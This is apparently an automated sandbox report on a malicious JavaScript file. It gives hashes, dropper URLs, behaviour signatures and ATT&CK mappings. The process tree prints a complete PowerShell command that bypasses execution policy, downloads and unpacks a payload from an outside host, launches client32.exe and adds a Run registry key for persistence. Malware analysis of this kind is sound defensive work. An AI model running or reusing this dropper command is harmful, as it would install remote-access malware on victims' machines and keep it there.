9101403bb729cabebd79206aad130293890154cd7a6fba3417471a645ea3ef25

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
01/09/2023, 19:59

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General

Target

package_details_____________________972968.js
Size

3KB
MD5

bf6b4c0fc43b5aa0c9bb21b94d795240
SHA1

c6826cb6d10ef41842348522571cf28a25720f04
SHA256

9101403bb729cabebd79206aad130293890154cd7a6fba3417471a645ea3ef25
SHA512

173f1ce1ddb6d40d7faa59338a7dcd7a6c97249d467485b890116b84b9cdc480e8825cdeca845c527c6b98b203de898ac827027b56f78a5556429135b965c1e7

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://svirtual.sanviatorperu.edu.pe/readme.txt

exe.dropper

https://svirtual.sanviatorperu.edu.pe/readme.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2580	powershell.exe
4	2580	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1680 wrote to memory of 2580	1680	wscript.exe	28
PID 1680 wrote to memory of 2580	1680	wscript.exe	28
PID 1680 wrote to memory of 2580	1680	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\package_details_____________________972968.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='https://svirtual.sanviatorperu.edu.pe/readme.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2580-5-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download
memory/2580-4-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

Download
memory/2580-9-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download
memory/2580-8-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download
memory/2580-7-0x0000000002670000-0x0000000002678000-memory.dmp

Filesize
32KB

Download
memory/2580-6-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download
memory/2580-10-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download
memory/2580-11-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download
memory/2580-12-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download
memory/2580-13-0x0000000002A50000-0x0000000002AD0000-memory.dmp

Filesize
512KB

Download